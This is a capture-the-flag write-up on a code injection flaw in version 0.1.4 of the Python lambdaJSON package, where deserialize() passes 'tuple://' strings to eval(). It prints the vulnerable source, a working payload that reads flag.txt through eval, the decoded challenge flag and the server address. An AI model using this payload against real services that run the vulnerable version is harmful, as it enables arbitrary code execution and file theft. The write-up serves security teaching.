Rocket Science
Code injection vulnerability in lambdaJSON

Description

Welcome to Rocket Science! In this class, we will learn all about rockets. But first, let's revise your numbers!
nc 20.198.209.142 55020
The flag is in the flag format: STC{...}
Author: zeyu2001
requirements.txt
21B
Text
requirements.txt
rocket_science.py
2KB
Text
rocket_science.py

Solution

The requirements file contains only a single dependency.
1
lambdajson == 0.1.4
Copied!
Let's take a look at the part of the source code in which this is used.
1
elif ipt == '3':
2
3
print("Enter saved numbers:")
4
5
try:
6
numbers = lj.deserialize(input('> '))
7
8
if type(numbers) == tuple and all(type(x) == int for x in numbers):
9
print(numbers)
10
11
else:
12
print("Don't you know what numbers are?")
13
14
except:
15
print("Invalid input!")
Copied!
We can see that lj.deserialize() is called directly on the user input.
It's always a good idea to check dependencies for vulnerabilities, so let's go to the PyPi page for lambdaJSON. If version 0.1.4 is vulnerable, then we should expect later versions to issue security fixes.
On the release notes from version 0.1.5, we find our vulnerability.
Under the "Changes from previous" section:
Security fix. Using ast.literal_eval as eval.
From the release history, we can find out when this fix was released.
This allows us to find the GitHub commit for this fix.
Great! We have found the source code for the vulnerable version of the package. In the source code, we find that the restore() function used by deserialize() uses eval()!
1
restore = lambda obj: (isinstance(obj, str)
2
and (lambda x: x.startswith('bytes://')
3
and bytes(x[8:], encoding = 'utf8')
4
or x.startswith('int://')
5
and int(x[6:])
6
or x.startswith('float://')
7
and float(x[8:])
8
or x.startswith('long://')
9
and long(x[7:])
10
or x.startswith('bool://')
11
and eval(x[7:])
12
or x.startswith('complex://')
13
and complex(x[10:])
14
or x.startswith('tuple://')
15
and eval(x[8:]) or x)(obj)
16
or isinstance(obj, list)
17
and [restore(i) for i in obj]
18
or isinstance(obj, dict)
19
and {restore(i):restore(obj[i]) for i in obj}
20
or obj)
21
​
22
...
23
​
24
deserialize = lambda obj: restore(json.loads(obj))
Copied!
Note that the deserialized output must be a tuple of integers.
1
if type(numbers) == tuple and all(type(x) == int for x in numbers):
2
print(numbers)
Copied!
The vulnerable version of deserialize() will strip the starting tuple:// and eval() the rest of the input string.
So, if we use the following payload:
1
"tuple://(int.from_bytes(open('flag.txt').read().encode(), byteorder='big'), 2)"
Copied!
we will get the integer representation of the flag.
The flag is STC{3v4l_1s_3v1l_00e80002e832f357cf5c05ee114a5cb40e746757}
1
➜ ~ python3
2
Python 3.9.5 (default, May 4 2021, 03:36:27)
3
[Clang 12.0.0 (clang-1200.0.32.29)] on darwin
4
Type "help", "copyright", "credits" or "license" for more information.
5
>>> from Crypto.Util.number import long_to_bytes
6
>>> long_to_bytes(3969309506657081582967368110556498469050796930805813227720771571473136717745745293677237528859886779701434271164439572744813346302117987974410)
7
b'STC{3v4l_1s_3v1l_00e80002e832f357cf5c05ee114a5cb40e746757}\n'
8
>>>
Copied!
Last modified 5mo ago
Copy link